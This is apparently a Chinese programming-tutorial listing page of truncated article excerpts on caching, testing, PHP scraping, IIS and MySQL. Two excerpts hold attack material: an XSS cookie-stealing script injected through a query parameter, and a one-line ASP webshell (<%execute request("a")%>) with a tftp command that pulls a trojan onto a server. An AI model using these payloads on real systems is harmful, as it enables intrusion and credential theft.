脚 本 之 家 www.jb51.net
页面导航:  不限条件-->原理
本地搜索:
有兴趣的朋友搜索"百度popup"就好了,已经有人给出了注释,强大。最有意思的是用javascript获取和设置styleDOM标准引入了覆盖样式表的概念,当我们用document.getElementById("id").style.backgroundColor获取样式时获取的只是id中style属性中设置的背景色,如果id中的style属性中没有设置background-color那么就会返回空,也就是说如果id用class属性引用了一个外部样式表,在这个外部样式表中设置的背景色,那么不好意思document.getElementById("id").style.backgroundCo...
http://www.jb51.net//article/16128.htm
 1概述通常情况下我们运行程序的过程中会产生一些中间数据,这些中间数据需要在将来的某个时间读取。这就要求我们要把它存在一个提供高速存取的地方,最好的选择就是内存中。基于这个以及多个原因需要我们把这部分存储到其他机器上,这样就产生了分布式缓存的问题。实际上分布式缓存根本上就是提供一个附加内存让另一台机器帮忙存储和查找数据。2实现方法首先建立一个集合对象,该集合对象应保证线程安全。代码如下所示Code1publicstaticclassMemObject2{3staticMemObject()4{5MemObjl=newDictionary<string,object>();...
http://www.jb51.net//article/16124.htm
前几天做了个小说连载的程序,因为怕更新麻烦,顺带就写了个采集器,采集八路中文网的,功能比较简单,不能自定义规则,不过大概思路都在里面了,自定义规则可以自己来扩展。  用php来做采集器主要用到两个函数:file_get_contents()和preg_match_all(),前一个是远程读取网页内容的,不过只在php5以上的版本才能用,后一个是正则函数,用来提取需要的内容的。  下面就一步一步来讲功能实现。  因为是采集小说,所以首先要将书名、作者、类型这三个提取出来,别的信息可根据需要提取。  这里以《回到明朝当王爷》为目标,先打开书目页,链接:http://www.86zw.com/Boo...
http://www.jb51.net//article/16030.htm
1.黑盒测试(Black-boxTesing)黑盒测试又称功能测试、数据驱动测试或基于规格说明书的测试。注重于测试软件的功能性需求。采用这种测试方法,测试者把被测程序看成一个黑盒子,完全不要考虑程序的内部结构和特性,只知道该程序输入和输出之间的关系或程序功能,依靠能够反映这一关系和程序功能的需求规格说明书,来自确定测试用例和推断测试结果的正确性。例如:Windows计算其程序,我们如果输入3.14159并按sqrt键,就会得到结果1.772453102341。使用黑盒子测试方式,不管软件计算圆周率的平方根要经历多少复杂运算,只关心他的运行结果。2.白盒测试(White-boxTesing)白盒...
http://www.jb51.net//article/15967.htm
 直接分析盗链原理:看下面用httpwatch截获的http发送的数据GET/Img.ashx?img=svn_work.gifHTTP/1.1Accept:*/*Referer:http://www.jb51.net/Accept-Language:zh-cnUA-CPU:x86Accept-Encoding:gzip,deflateUser-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.2;.NETCLR1.1.4322;.NETCLR2.0.50727;.NETCLR3.0.04506.648;.NETCLR3.5.21022;...
http://www.jb51.net//article/15762.htm
使用过ASP的同学一定见过这样的代码: Hello,[code]<%Response.Write(Request.Querystring("name"))%>[/code]假如我传入的name的值为: [html]<script>x=document.cookie;alert(x);</script>[/html]这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点:[code]http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert...
http://www.jb51.net//article/15688.htm
很多人首先会想从服务器缓存方面着手对程序进行优化,许多不同的服务器缓存方式都有他们自己的特点,像我曾经参与的一些项目中,根据缓存的命中率不同使用过Com+/EnterpriseLibiaryCaching/Windows服务,静态文件等方式的服务器端缓存和HTTPCompression技术,但客户端缓存往往却被人们忽略了,即使服务器的缓存让你的页面访问起来非常地快,但她依然需要依赖浏览器下载并输出,而当你加入客户端缓存时,会给你带来非常多的好处.因为她可以对站点中访问最频繁的页进行缓存充分地提高Web服务器的吞吐量(通常以每秒的请求数计算)以提升应用程序性能和可伸缩性。一个在线购物调查显示,大...
http://www.jb51.net//article/15671.htm
Web 如何工作?如何制作属于您自己的网站?什么是网站主机?什么是 Internet 服务提供商(ISP)?什么是 World Wide Web ?WWW 是一张遍布全球的计算机网络。Web 中的所有计算机均可彼此相互通信。所有的计算机都使用被称为 HTTP 的通信标准。WWW 如何工作?Web 信息存储于被称为网页的文档中。网页是存储于名为 web 服务器的计算机中的文件。读取网页的计算机可称为 web 客户机。web&nb...
http://www.jb51.net//article/15452.htm
基本命令:Sysocmgr.exe /i:sysoc.inf /u:c:\iis.txtc:\iis.txt是IIS要安装的组件列表[code][Components] iis_common = ON iis_www = ON iis_asp = ON iis_inetmgr = ON aspnet= ON  [/code]包括IIS组件在内的所有组件列表:Mplay Rec Vol f...
http://www.jb51.net//article/15199.htm
原理QueryCache(下面简称QC)是根据SQL语句来cache的。一个SQL查询如果以select开头,那么MySQL服务器将尝试对其使用QC。每个Cache都是以SQL文本作为key来存的。在应用QC之前,SQL文本不会被作任何处理。也就是说,两个SQL语句,只要相差哪怕是一个字符(例如大小写不一样;多一个空格等),那么这两个SQL将使用不同的一个CACHE。不过SQL文本有可能会被客户端做一些处理。例如在官方的命令行客户端里,在发送SQL给服务器之前,会做如下处理: 过滤所有注释 去掉SQL文本前后的空格,TAB等字符。注意,是文本前面和后面的。中间的不会被去掉。...
http://www.jb51.net//article/15179.htm
通过HTTP协议来访问一句话木马的使用范围(我只列举了2种):1)只有数据库备份的情况数据库备份成asp文件时候,不出现“ 编译错误,缺少脚本关闭标志%>"2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快)tftp -i ip get server.exe一句话木马<%execute request("a")%>的原理:首先知道execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute ...
http://www.jb51.net//article/15163.htm
共有:62/10,当前1/7页  [首页] [上一页] 1 2 3 4 5 6 7 [下一页]  [尾页] 转到: